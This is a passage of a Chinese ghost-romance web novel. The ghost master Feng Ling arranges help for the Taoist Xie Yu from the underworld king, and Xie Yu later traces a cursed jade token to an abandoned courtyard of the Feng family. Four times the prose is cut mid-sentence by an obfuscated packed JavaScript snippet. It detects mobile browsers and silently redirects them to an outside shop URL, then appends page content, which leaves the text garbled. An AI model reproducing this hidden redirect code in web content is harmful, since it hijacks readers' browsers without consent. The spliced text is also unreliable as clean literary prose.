蔺秋茹不觉有异,只听见夸奖后高兴地望向纪苏文,又得到后者回应般的浅笑。若没有地府鬼差与情煞鬼的这两重身份,蔺秋茹与纪苏文的相处便如这世间任何一对夫妻般,寻常且恩爱。 任由蔺秋茹与阎魔王说了会话,纪苏文方才上前揽过妻子,又迅速与封灵对视一眼,正欲找个理由将其支开,后者却无征兆地沉默下来,一双眼睛迅速失去光彩。 阎魔王一点点皱起眉头,纪苏文却已经习以为常。将蔺秋茹拦腰抱起,又小心翼翼地放回里屋的卧榻,动作再熟练不过。封灵站在一旁看着,也不见任何帮忙。若她没有猜错,蔺秋茹是又到了执念的最后一日,回复到无知无觉的状态了。 “……你还要这样守着她到何时?” 阎魔王抬手挥出一道屏障,而后再不掩饰地问道。 “若您不是来带苏文回去的,那苏文便这样一直守着她。” 纪苏文头也不抬。 “没出息!”阎魔王气急败坏地站起来,在屋里来回踱了几圈,尤自不解气地指住纪苏文的鼻子,上下嘴唇几度开合,最后只恶狠狠地一振袖,“……没出息!” 封灵自觉退回角落,一边听着阎魔王又开始起来的斥骂,一边在心底盘算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212023|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着什么时候才能说上自己的正事。偶尔还会向纪苏文投去询问的一眼,确认对方是否快要招架不住了。 “……女娃娃,你是来干什么的!” 阎魔王的话头突然对向封灵,发出一声震耳欲聋的询问。后者拧着眉揉起了耳朵,只觉得脑袋一阵的嗡嗡作响,缓了缓才呲牙咧嘴地回道:“我自然是来找纪鬼差说正事的……您可真敢问,到这会儿了才想起我。” “女娃娃,别跟地府的鬼差们学说这种虚头巴脑的假话……究竟什么正事!” 阎魔王不耐烦地拍着桌面,少顷又狠狠剜了纪苏文一眼,像是做下什么决定般只等着封灵的回答。 “……我在人间遇到些事情要办,近来怕是不得空闲,所以想请纪鬼差替我抓几个月的鬼,也好攒攒功业。” 封灵委婉地开口,依旧没有漏出解玉的名字。左右这事她跟纪苏文都是清楚的,就没必要拿在明面上让阎魔王知道得太过详细了。 “呵,怕是帮你养在人间的那个道士找的帮手罢?”阎魔王哼笑一声,“老夫没他们那么迂腐,不必故意找借口骗我。” 封灵面上毫无波动,甚至在心底也掀不起一丝半点的涟漪。不用说,又是一个从谢必安嘴里听了半截的……不过也无所谓了,她本来就是为解玉来的。且如今看来,阎魔王似乎也想借她这件事情做些什么。若是能对解玉更有利些,便更好了。 “您既然都知道,特意问我这个又是为了什么呢?” 封灵丝毫不怵。 “封鬼师,与老夫做个生意罢!” 阎魔王再次剜了眼纪苏文,带着破罐破摔的口气与封灵商量起来,“我这不成器的玄孙想为他的夫人求一个不受苦楚的来世,你应该也是为了那位道长能够多积攒些功业,以换来日成为鬼差或是免入轮回分离罢?” 封灵挑眉不语。 “老夫就剩这一个血脉了,”阎魔王生气地又拍了两下桌子,“这样,还是让他跟在你那个道士的身边,抓鬼的时候搭把手。如此,计算功业之时,也能够落少许在他的头上……积少成多,再一点点给这位蔺姑娘换个来世!” 如此,也算是达到了她的目的。 “……我倒是没有异议,可纪鬼差如今根本不能行动自如,又谈何一起行动呢?” 封灵瞥了眼急切等待的纪苏文,想起他躲在这里的最根本原因,少不得提醒一句,“蔺姑娘还在这里呢,哪里又能离得开纪鬼差?” “谁没事会在大白日里抓鬼!”阎魔王不耐烦道,“等夜深人静的时候,他再来找你们也是一样。至于找他的那些鬼差么……啧,老夫给他个遮掩气息的,再换张脸皮,就算被日、夜游神当头撞上,也只会以为是第五殿的人,这总可以了吧!” “好说!” 封灵十分爽快地跟阎魔王达成一致。 给解玉找好了帮手,地府要找纪苏文的事情也有阎魔王撑腰,她此行的目的全部都实现了,看来还可以提早些回去。 露出一抹堪称愉悦的笑,封灵不经意地转身,将背影暴露在阎魔王的眼皮底下,惹得后者发出一声奇怪的呢喃—— “……刚才怎么没注意到,你这女娃娃穿白衣的样子还挺眼熟的。” 40. 红衣白衣 封灵脚下一顿,带着有些莫名其妙的表情缓缓转身,先低头打量了几眼自己随意变幻出来的素纱白衣,没觉出哪里不对后又看向阎魔王,“地府里穿白衣的鬼多了去了,只无常里面便有个谢必安……阎魔王您,是不是将我错认成了其他哪位鬼差?” 阎魔王疑惑地嘶了一声,“不应该啊……女娃娃,你真的没穿过其他颜色的衣裳吗?就只有之前的那件红衣?” 像是被戳中了伤心事,封灵表情有一瞬间的凝滞,“……我倒是想换,可不见得有人给我烧啊,鬼裁缝卖的价格又太高了!” “再说了,从我下地府那日起便就这幅打扮了,”封灵有些不习惯地扯了扯袖子,“那些小鬼们也早就看习惯了,一见到红衣便知道是我来了……我也就懒得再换了。” 她自己倒不太在意这些穿着打扮,毕竟早死的不能再死了,又不像生人那般需要换衣梳洗,真看见什么喜欢的衣裳或首饰,鬼力一化便能成为自己的,又何必舍近求远? 阎魔王在地府时,成日里不也就穿身官服穿到处晃悠么…… “难道,真是老夫记错了?” 阎魔王也开始不确定起来,“我在哪里见过穿白衣的背影来着,怎么想不起来了……说起来,老夫倒觉得女娃娃你穿白衣的样子挺好看的,瞧着比红衣时顺眼,哈哈哈!” “……” 什么顺眼,分明是拐着弯的在损她吧! 封灵皮笑肉不笑地扯了下嘴角,正要回嘴反驳两句,忽而想起酆灵英口中的那位女坤先祖,神色蓦地一怔。 原本要说的话咽回肚子,白衣的鬼师娘娘重新起了个话头,“阎魔王印象里的白衣背影,也是个如我一般的女子不成?” “老夫还不至于老眼昏花到把男人的背影和女人的搞混,”阎魔王吹胡子瞪眼,又带出三分的难以置信,“不过真就记不清了……老夫连自己做凡人时候的事情都还能倒背如流,怎么偏偏不记得那背影的主人是谁了?” 红眸微微闪烁,“……或许,是您在人间时偶遇的女子,回了地府后就再没见过了,这才没有印象。” “记不清了记不清了,”阎魔王放弃般摆了摆手,“也不是什么要紧的事情,女娃娃就不要再继续刨根问底了,显得老夫的记性有多差似的。” 此话既出,封灵也不好继续深问,只顺势将自己的这番询问含糊算到阎魔王的头上,“谁叫您先说我穿白衣的背影瞧着眼熟的,我不得问清楚了,也好看看是谁敢与我相似。” 又刻意将语气说的凶狠了些。 果不其然,阎魔王一听便指着封灵连连摇头,“你这女娃娃,也忒霸道!” “……阎魔王既让纪鬼差与我一起,若到时仍以纸鹤联系,会否过分醒目了些?”见阎魔王被移开了注意力,封灵眼睛一眨便将话头重新引回纪苏文身上,“您都给了纪鬼差遮掩气息的了,就不能再多给个方便传讯的么?” 最好是解玉这个凡人也能直接用的,如此就不必她在中间传来传去的了。 “或者,我教解道长一道口诀,这样他就能随时随地找到我了。”纪苏文尝试着建议,“鬼师娘娘,您要不先替解道长记一记?” 阎魔王斜了纪苏文一眼,摆着手示意不赞同,“你说的口诀不就是普通的招鬼术么……那玩意儿每用一回,就须呼唤一回被招之鬼的名姓。还得提前备好香蜡纸钱,斋戒焚香,忒麻烦了。” 说着又翻起袖子将手露出来,朝封灵抬着下巴一示意,“女娃娃,记得看清楚了。” 阎魔王将两指并拢悬于半空,横平竖直地勾画了十数笔,最后再在成形的字符上轻轻一点,那萦缠着微光的符纹便径自飘到封灵的眼前,而后落在白衣鬼师缓缓摊开的手掌之上。 “……这是?” 封灵发出一声轻呢,看着手里的符纹一点点化为光点消失。 “记住了没?” 阎魔王先问了一句,见封灵点头后方才继续解释,“是能让施展之人显露出自己所在的符纹。只要你说的那个道士用了,这小子就能第一时间察觉到他的踪影,而后赶过去帮忙。且所费灵力甚微,更不需要说出纪苏文三字……是不是比那劳什子招鬼术方便?” 阎王大人颇为得意。 “不愧是阎魔王大人。” 封灵缓缓收拢手心,在得了好处后毫不吝啬自己的夸奖。 如此,便再没什么事情要耽搁了。 封灵想到此处,顺势向阎魔王与纪苏文道别,“那我便不打扰二位一叙‘爷孙’情谊了,先回去了……若有什么事情,还来北地城隍庙找我。” 后半句,是特意说给纪苏文听的。 “……鬼师娘娘,多谢!” 纪苏文嘴唇翕动了几下,千言万语最后只化作了最简单不过的两个字。 封灵浅浅一颔首,毫不客气地受领了。又朝阎魔王拱手示意,得到后者驱赶似的嫌弃眼神后,方笑着从屋内消失。 …… 并没有立刻返回城隍庙,封灵反而先去了趟酆家。掩了身形停在院落上空,一双红眸不住地朝底下逡巡。她也不知道自己究竟想找些什么,只是听了阎魔王的话,又与解玉此前的猜测混杂在一起,脑中思绪一时纷杂,便干脆跑来这里了。 她这是在干什么? 封灵默默在心底嗤笑自己两声,收回视线正欲离开,余光却突然瞥见院内西北角某处的不对劲来。 怎么会有这么多贴倒了的符箓? 封灵将身体飘得更近了些,红眸半眯着仔细打量。确实是倒贴的符箓没错……这酆家自诩为当世抓鬼除邪的魁首,居然还会在自家宅院搞这些阴诡招邪的东西。 再往四周探去,封灵心中的不对劲更加明显起来。她方才悬于半空所见,酆家里外堪称是遍地铺金,愈往里处便愈加奢靡。唯独这一座院落,破败荒僻,杂草丛生,与酆家其他的地方格格不入,却又偏偏建在所有院子的最里处……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251210|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>当真奇怪。 消失又出现,封灵带着三分讶然,将自己停在紧闭的院门之外。她刚才本想直接落进院内空地,却被莫名出现的屏障阻拦了脚步。 人间竟也有她进不得的地方? 封灵以袖掩面,暴露在外的眉头开始一点点拧了起来,她从风里闻到了一股难以言说的味道,陌生又熟悉。像鬼气却没有鬼物自带的腥臭感,可也不是鬼神身上的却死香气息。 这酆家的谜团真是越来越多了,而一切之因俱是由于酆都大帝千年前的那句允诺…… 封灵在心底腹诽了这位地府之主几句,又垂目打量起自己的指尖来。须臾抬手,停在与院门一寸之隔的空中,试探着向前点去,而后被猛地迸出的血芒震得退后两步,贴于门上的符箓无风自动。 白衣鬼师怔怔然看向自己的指尖,那之上并不见任何的伤痕,此刻却有些不受控制地微微颤抖。封灵面露骇然之色,这屏障竟厉害到能直接觉察出唯剩魂体的自己,还差一点伤到她的鬼身。 “……诶,你进去这里做甚?” 封灵的注意力被这声呼唤分出少许。偏头看去,不远处路过的仆从正试图将朝这边走的另一个手握笤帚的年轻丫鬟拉住,嘴里还不住地嘟囔,“这地方早废弃了不知多少年了,不需要清扫的……管家他们也不会因为你进去了就夸奖你勤快的。” 那丫鬟似乎还回嘴了两句,方才跟着拉扯自己的人离开。封灵却一个字也没有听清,只因她的注意力已全然被这两人刚才的动作所吸引。若她没有看错,拦下她的那道屏障并没有对那丫鬟做出任何的攻击,甚至还因指尖触到了门扉而隐约开了条缝。 这里面究竟藏了什么秘密,竟让酆家人做出这种只防鬼不防人的东西来…… 封灵透过门隙朝里看了一眼,依旧是毫无所获。本欲先打道回府,两耳却在这时听到一声奇怪的呼唤。喑哑难听,断断续续,像是喉咙里卡着什么东西般不真切。 封灵听来听去,除了能确认发出声音的是个男人外,其他的一概不知。 难道酆家在里面藏的……是一个人? 还是说,一只鬼? 封灵捂了捂耳朵,心知自己今日是得不到答案了,怕是只有等解玉和酆灵英套好关系后才能有更近一步的结论。眼下还是先回城隍庙吧,也免得打草惊蛇。 封灵做下了决定,又重新浮在半空中确认好这座院子的大致方位,方才带着满腔疑问旋身离开。 …… 直接出现在这段时间借住的客房里,封灵却意外地没有看见解玉的身影。正思考间,有人从身后推门而进,熟悉的气息瞬间靠近,却在一两步以后戛然而止。 是解玉回来了,又不明缘由地停下了。 封灵不明所以地转身,正要为今日的事情交代几句,却被男人面上显而易见的震惊定在了原地—— “你、这……鬼大王?” 解玉声音里,是掩盖不住的惊疑。 41. 胡思乱想 又是因为她身上的这件白衣? 封灵的眸色微沉,嘴角的弧度也逐渐隐没下来。压住心底骤然扩散的躁烦,封灵收回投在解玉脸上的平静目光,旋身往临窗的摇椅走去。脚步轻移间,殷红的颜色自裙摆处一点点铺散蔓延,等封灵再躺回摇椅之上,素纱白衣又重新变回了熟悉红衣。 “鬼大王,你……我、我刚才按照你的吩咐去找了城隍主,他又教了我好些没见过的剑招术法,还说让我记熟了以后好用……” 解玉知道自己刚才的反应大了些,此刻跟在封灵身后,绞尽脑汁地想要弥补,可又怕贸然道歉惹出封灵火气,愁眉苦脸间只好再次绕回红衣鬼离开前说的事情,“纪鬼差那边可都说定了?倒比你之前说的时辰早上许多……若定下了,你之后是不是就留在城隍庙不出去了?” 封灵默默翻了个白眼,被解玉一个接一个的问题磨得没了脾气。她之前怎么没发现这人如此唠叨,竟开始过问起自己的安排来了,果然还是胆子变大了罢! “……把手伸出来,”红衣鬼师忍耐般揉着眉心,眼也不抬地朝人示意,“看清楚了,我就做这一次。” 指尖在半空中虚画了几下,而后缓缓凝成一枚符纹悬停在解玉手心,不时散出几缕灿金微芒。 “这是专门给你定位用的符纹,”封灵简短道,“只要画出它,纪苏文便能立刻知道你在哪里,然后赶过来帮你。” 解玉点着头哦了一声,眼里是不加掩饰的纳罕。虽不是第一次见了,他还是会对这些常理不能及的东西感到好奇。学着封灵的动作比划几下,自觉看清了路数的解道长在一旁默默尝试起来,却只收获一枚转瞬即逝的暗淡符纹。 “第一次做,也算是不错了。” 封灵本在想着自己的事情,手里有一搭没一搭地把玩着扇子,余光瞥见解玉一副被打击到的模样,叹了口气,还是不吝啬地送出一句夸赞。 解玉不死心地又试了几次,虽无一例外地都能成形,却始终不似封灵的那一枚般,可以发出灿金的光芒。 “……你先停下。” 封灵不知何时坐直了身子,单手撑住下颌围观了解玉几轮后,终于张口叫了停。后者茫然回望,却见红衣鬼师态度极其自然地拉过他的手,伸出一截指尖便在掌心勾划起来。 两人的距离一下子挨得极近,封灵被风吹得有些微扬的青丝不经意间从解玉的腕骨处掠过,一下,又一下。后者下意识蜷了指尖,几乎要屏住呼吸,生怕被眼前的鬼师娘娘觉察出不对劲来。 指尖划过掌心生出的痒意,发丝掠过腕骨生出的痒意……还有,从他心底生出的痒意。 “……解道长?解玉!” 封灵不满地挑起眉梢,看着男人明显神游天外的表情,手下毫不留情地用力一握,后者便发出“嘶”的一声痛呼。 “鬼、鬼大王……” 解玉讪讪一笑,被封灵握住的地方余痛未消,却不敢在这当头把手扯回来,只能不住地朝红衣鬼师眨眼示意。 “好你个解玉,竟敢在我面前走神,”封灵半眯着红眸,“我看乌贺教你的时候,你不挺学得挺认真的吗!” 解玉盯着不知何时又垂落在封灵红衣前的乌黑发丝,满腹的心绪不知从何说起,上下唇开了又合,最后也只是老实认错。 “……我就是没想通,怎么这符纹在鬼大王你的手里那么简单,真到我自己的时候就这也不行那也不行了。” 解玉小小地撒了个谎。 “熟能生巧,你多练几次自然便好了。” 但封灵却真的听进去了,操着不甚熟练的话术,一点点安慰起人来,“你刚才有一笔画的不对,所以凝出的符纹才颜色暗淡。我如今在你的手里又重新画了一次……差点忘了,你大概也没认真记吧?” 短暂的温柔过去,想起解玉干了些什么的鬼师娘娘,语气又开始恶劣起来。 解玉遮掩似的咳了两声,趁机把手抽了回来,又亡羊补牢般练习起来。数次之后,总算画出了一枚蕴有灿金的符纹。 高兴地望向窗边摇椅里的红色身影,解玉还不及开口便又被失落裹挟——封灵并没有看他,只是盯着窗外不时飘落的花瓣发着呆,也不知道在想些什么。 “鬼大王,我、我成功了……” 像是怕扰了这一室的静谧般,解玉的声音压得极低,更不知道该不该在这个时候开口打扰封灵。 “……解道长,你说,会有人生前和死后是完全不同的两副模样吗? 封灵没有回头,只是将攥在手里的折扇一点点摊平,又悬置在自己眼前,像是打量,但更像是不解。人无聊的时候就会胡思乱想,鬼也是。没有解玉在自己耳边念叨,她便在脑子里一遍遍地转着阎魔王奇怪的问题,又想起解玉的那些猜测,甚至一闪而过了转轮王告诉她的折扇由来。 她一直将自己与酆家女先祖的界限划得分明,便是因为她与她的际遇全然不同,更别提那些慈悲和善的溢美之词了。她可是只睚眦必报,半点亏也不肯吃的大恶鬼哪…… “人死后的模样与生前不同,难道不是件再正常不过的事情了么?” 胡思乱想之际,解玉的声音突然响起。 “鬼大王,你不是说过自己死时的样子很凄惨么,可你出现在我面前的模样,却与世间的任何一个凡人没有区别……想来做了鬼,也是可以有另一张皮相的。” 解玉虽不清楚封灵问这话的意义何在,但也能看出她此刻的不对劲。也不知是在莫县看到了什么,又或是听到了什么,从来璨亮的红眸里第一次露出了动摇。 至于封灵,在听到解玉开口的瞬间才反应过来自己脱口而出了什么话。暗地里嗤笑自己的同时,也惊觉自己原来已对解玉不设防到这种地步了。 “……那你还是这副皮相更顺眼些,以后死了也记得用这副皮相来见我。” 封灵糊弄般一笑,并不打算对自己的行为做出解释,只收敛好难得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268311|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外露的神色,坐起身又朝解玉细细叮嘱起来。 “我与纪苏文都说好了,他想要多多地积攒功业,所以不止会替我看着你,之后抓鬼时也会主动出手帮你。你不必管他怎么做,坦然受下便是。” 解玉嗯了一声,又问道:“鬼大王,功业是很重要的东西吗?之前你也说过类似的话,还让我也多积攒些,如今又多了个纪鬼差……” “很重要,”封灵撑着下颌点了点头,“你积攒的功业越多,来世的命数便越好。若遇上陆判官那样的,一世功业积攒下来直接便位列阴班了……反之,若你生前做下的恶事太多,罪业远甚功业,便会被罚下地狱受苦,直到洗去满身的罪孽后再行投胎,可也只能从任人宰割的牲畜开始做起。” “……鬼大王,那你积攒功业也是为了能早日投胎吗?” 解玉低声问道,心绪混乱不堪。 “算是罢!” 看着一瞬间苍白了脸色的解玉,红衣鬼本欲捉弄人的心思又淡了下去,微微侧开的脸上带着几分不自然,“但那都是从前的想法了,如今么……我倒是不强求了,就这样一日日地过下去也挺好。” 解玉本来恐慌的情绪蓦地一松,像是得到了封灵天大的承诺般,整个人再不复紧绷的姿态。定定凝视着红衣的鬼师,须臾,立下庄重而严正的承诺—— “我会一直陪着鬼大王你的。” 后者闻言微怔,旋即失笑,本还有些消沉的心绪在解玉的这句话下骤然消失。眼底还蕴着未散的笑意,封灵偏故意说着反话,“就凭你如今的本事,只怕是我守着你多些……解玉道长,就你这半吊子的水平,别等到几十年后还只剩投胎这一条路罢?” “我不会一直是半吊子的……” 解玉有些虚弱地反驳。 “那便再好不过了,”封灵挑着眉,不置可否,“还有,别忘了酆灵英的事情。最好让她主动带你去一趟自家的藏书阁,有些情况还得是自己见了才能确认……哦,对了,若在酆家看到有什么不对劲的,也可向她打听几句,说不定就能有我们想知道的消息。” 并不打算让解玉知道自己回来前才去过一趟酆家,更不打算与他挑明在酆家看到的怪异之处,封灵只顺着酆灵英递来的那根竹竿,半虚半实地给人安排活计。 “鬼大王放心,我都记着呢!” 解玉不做他想,封灵说什么便是什么。 “太子那边也不要忘记了,记得不时去看两眼,”封灵又提醒道,“笼络住了他,说不定就不用再自己辛苦找活计了,有的是人请你上门驱鬼。” “记住了,都记住了!” 解玉满口答应。 封灵被这人鹦鹉学舌般的应答逗得垂目一笑,红眸复又向窗外望去。最开始的意乱如麻退去,她的心绪也一点点平静下来。 便先瞒着这人罢,等她把酆家的事情弄清楚了,再一点点与他交底也不迟。 到那个时候,她就、她就…… 42. 缺者为玦 那日之后,解玉便开始早出晚归、到处奔波了起来,一如他向封灵承诺的那般,努力行驱鬼除邪之事以换取足够留在地府的功业。封灵则暂时按捺不动,一边等着解玉和酆灵英搭上线,一边守着正殿里每日不绝的太子香火。 她得空的时间长了,有闲心围观解玉的机会便多了。起初,解道长还得靠纪苏文的搀扶才走的回城隍庙,后来次数多了,招式和路数便熟练了,带伤回来的频率也就少了。 至于太子那边,仍不时有小鬼作祟,偶有几次还直接出现在了有酆家人在场的白日,偏后者却对此毫无反应。草木皆兵之下,太子对酆家的信任更低,只能一次又一次地避开各处耳目,寻着由头让解玉进宫驱鬼。有太子这棵大树乘凉,解玉的活计也开始多了起来,到入秋时,甚至已在望京小有名气。 这样明晃晃的跟酆家打擂台、抢生意的行为,按说是会被人记恨上的。可不知道是否有酆灵英的授意,解玉在望京的一举一动都不曾受到谁人阻拦。同样地,酆灵英也没有对太子继续被鬼祟困扰一事表态,更没有在与解玉往来时提及此事与酆家驭鬼术有无关联。 酆灵英不说,他便也懒得深问,总归是自己得了好处,索性佯装不知,只按照封灵的叮嘱与这位少家主拉近着关系。 直到下了入秋后的第一场雨,解玉才终于等到来自酆灵英的邀约。似乎是酆家内里想要重修家祠,一并将祖坟迁往别处,最迟年内就会动工。酆灵英不欲继续干等,便干脆请解玉登门商量对策。 …… “酆姑娘,我还是先去向贵家家主道个礼吧,”解玉跟在酆灵英的身后,“没有拜帖,又骤然登门造访,若连主人家的面都不去见一眼,实在有些失礼。” 一开始确实是酆灵英主动邀约,可那一次却因为皇帝临时请了身为国师的酆家家主进宫祈福,身为少家主的酆灵英也一并被宣召进去了,前后耽搁了数日而没能成行。之后便是解玉受托出城驱鬼,又一次与酆灵英错过。直到今日返回城隍庙,方被蹲在门口的酆家随从守住,这才带进了酆家。 “我爹他又进宫了,没个十天半月的回不来……家里的其他人你都不必去见,他们最近折了好几单生意在你这里,不找你茬便算不错了。” 刚解释两句,酆灵英便看到长廊拐角处风风火火跑出来一个锦袍少年,立刻停下脚步高声道:“酆容!这个时辰不去听师傅授课,在后院跑来跑去的做甚!” 被称作酆容的少年一下子停住了,须臾带着满脸的不情愿挪到酆灵英跟前。快速地扫过解玉的脸,酆容拉长着声调求饶起来,“我的好阿姐,你就当今日没看见我行不行?那些课一点意思都没有,我才不要去听!” 酆灵英的表情一下子严厉起来,但顾及着解玉在场,不好把话说的太重,只侧头吩咐起身边的女护卫,“你亲自把小公子带回堂上,让授课的师傅严加管教,该罚便罚,不必念着他的身份手软!” 后者应了一声,轻车熟路地抓过酆容的胳臂,又笑眯眯地将人扭了个方向,朝酆灵英与解玉一示意,领着试图挣扎的酆小公子便离开了。 “……让解公子见笑话了,”目送酆容的身影消失,酆灵英脚下方又动作起来,“实在是舍弟顽劣,在他面前不得不严厉一些,否则就要成那翻天的混世魔王了。” 解玉哪好评价他人家事,只笑着接了一句,“酆姑娘是家中的长姐?瞧着待几个弟弟都是极好的。” 且不论这个酆容,便是当日为他所骗的酆七,酆灵英也只是嘴上说的凶狠,该有的关切与担当都是不缺的。 “我就这么一个弟弟,以后也是要他与我共同撑起酆家门楣的,”酆灵英说的坦诚,“于公于私,我都该对他好……就是这小子最近愈发的懒散,自觉我这个做姐姐的成了少家主,他便可以不管不顾地只当个大少爷了!” “……七公子,不也是酆姑娘的弟弟吗?” 解玉默默记着进来的路线,闻言顺嘴一问。他今日来的匆忙,封灵还不知道他回了望京,甚至已经进了酆家。他如今多记一些,若之后封灵自己想来,也不必两眼一抹黑地来回瞎转……显然,解玉忘记了封灵本就是一只可以到处乱飘的千年女鬼。 “我有许多的堂表兄弟,但一母同胞的亲兄弟,就酆容一个。” 酆灵英停在阶下,回身朝解玉示意,“解公子,便是这里了。” 「酆家藏书阁」 解玉掩在袖下的指尖无意识地蜷起,一双眸眼毫不遮掩地看向欲合未合的半扇门扉,而后惊异地发现,这藏书阁竟比他想象中的破旧许多。若只看外观,全然想象不出里面竟存放了酆家的众多文籍。 酆灵英领着人推门而入,三两步后停在正中,又伸出手大概指了几处方位,“解公子,记录有我酆家诸位先祖生平事的文籍,便在我刚才指的几处架子上放着……就是不知道有无人带走翻阅,又或是胡乱放在别处了。” 解玉听了酆灵英的话,一边张望着,一边抬着脚朝里走进。却突然在下一刻失去了对身体的控制,膝盖猛地向前倾倒,整个人重重撞向地面。 “解公子!” 酆灵英急急上前,将人搀扶到角落的矮凳上坐下,又转头看向解玉摔倒的地方。 “酆姑娘,我好像踩到什么东西了……” 解玉疼得倒吸一口凉气。好在这段时间受的伤不少,膝盖传来的痛楚尚算能够忍受。稍事歇息后,解玉开口解释了一句,同样将目光移向了害自己摔倒的地面。 “这是,玉环?怎么还裂了道口子……” 解玉盯着酆灵英手里的害自己跌倒的罪魁祸首,忍不住发出一句疑语。 “……形如环而有缺口,应该是玉玦。” 酆灵英左右翻看了几眼,面上渐露惊疑之色。从腰间扯下自己的佩袋,酆灵英动作粗暴地解开束口的绳结,也在里面翻了个样式如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281701|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一辙的玉环来。 “原来你也有啊,酆姑娘,”解玉揉搓着膝盖,“看来是你们家的人不小心遗失的,说不定正在哪处焦急找寻呢。” 解玉坐的位置稍偏,并没有看清那枚玉环的全貌,但见酆灵英将两物放在一起对比的模样,便以为这是酆家人都有的信物。 “……满为环,缺则玦。”酆灵英仍是疑色不减,转身走回解玉身前,左手置玉玦,右手置玉环,将两枚玉饰平放在摆在解玉眼皮子底下,“酆家人佩玉不假,却也只会佩寓意更好的环,而非我从地上捡来的玦。可这枚玉玦,上面的纹路又偏是酆家嫡出一脉才会有的……” 解玉还记挂着架子上的一堆文籍,对酆灵英口中的环和玦并无多少兴趣。本欲张口糊弄两句,忽然想起封灵此前叮嘱他的话—— 「若在酆家看到有什么不对劲的,也可向她打听几句。」 这枚玉玦,似乎在酆灵英眼里十分的不对劲…… 思及此,解玉揉搓着膝盖的动作一顿,转而从酆灵英的手里拿过了那枚玉玦。正要细细打量两眼,却觉指腹间一阵刺痛,不由得发出“嘶”的一声,玉玦重新跌回酆灵英的掌心。 竟真的有不对劲?! 顾不得酆灵英误会,解玉裹着袖子将那枚玉玦重新拿起来,又迅速扔回地面,“酆姑娘小心,这玉玦似乎有伤人的本事……” 解玉说着将手摊开,本欲向酆灵英证明自己所说的话无误,却愕然发现十指指腹均不见任何的伤痕,若不是还有隐隐的刺痛传来,他险些要以为是自己的幻觉。 酆灵英垂目看向那枚玉玦,后者静静地躺在地面,除了颜色稍显暗沉,并不见任何的怪异之处。拧着眉想了片刻,酆灵英抬手在自己的眼皮上划过,再凝目便看出了端倪。 那玉玦之上,萦绕着不散的血气,还有浓郁似墨的鬼气…… 看着酆灵英的脸色一点点沉下去,解玉显然也意识到了什么。掐着诀迅速从自己眼皮上拂过,他终于也看到了酆灵英眼里的东西。 交缠在一起的赤与黑…… 此玉玦非生人之物! “酆姑娘……” 酆灵英没有理会解玉的呼唤,起初的惊疑退去,她的胸口逐渐被升腾的怒气填满。竟有人敢在抓驭鬼祟的酆家留下此物! 分明是在挑衅! 重新掐出新的法诀,酆灵英近前两步蹲下身体,两指并拢抵在那枚玉玦之上,低声默念了两句便静待不动。 不多时,原本只萦绕在玉玦上的赤黑二气开始一点点向外弥散,绵延不知归处。 “解公子,可愿与我同去一观,看看这东西究竟是什么来路!” 虽是询问,酆灵英却没有等着解玉开口的打算,确认好方向便径自迈出了藏书阁。 后者在藏书阁与玉玦之间犹豫了下,还是一咬牙跟了上去。 玉玦牵引的尽头,是一处极为破败的院落。 43. 奇怪喃语 若是封灵在场,定能一眼看出这地方就是当日她觉得有异的院落。而她虽有隐瞒,却也是存了让解玉试探此处的心思,没想到解玉竟在误打误撞之下第一次上门便找到了。 “……酆姑娘,这院子瞧着有些破败,里面可还有人居住?” 解玉并没有急着进去,先停在酆灵英身侧询问起来。 酆灵英神色凝重地摇头,“我不知道,应该是没有的罢……这院子早荒废了许多年,平日里连下人们也不多进去的。” 荒废了许多年? 却还偏能在遍地铺金的酆家留存至今…… 解玉想不通这其中的逻辑,只当酆灵英是顾忌外人,所以有意隐瞒了什么东西。 “玉玦上的赤、黑二气正是钻进了这座院子,”解玉试图从微开的门隙中望出些端倪,“酆姑娘,咱们还要进去吗?” “进,自然要进!” 酆灵英沉默了一瞬,而后坚定道。 几步踏上阶,女子毫不犹豫地推开近乎开裂的院门。伴随着一声短促的‘嘎吱’声,院内的场景缓缓在两人面前铺开。 入目所及,是与外处一致的荒僻。 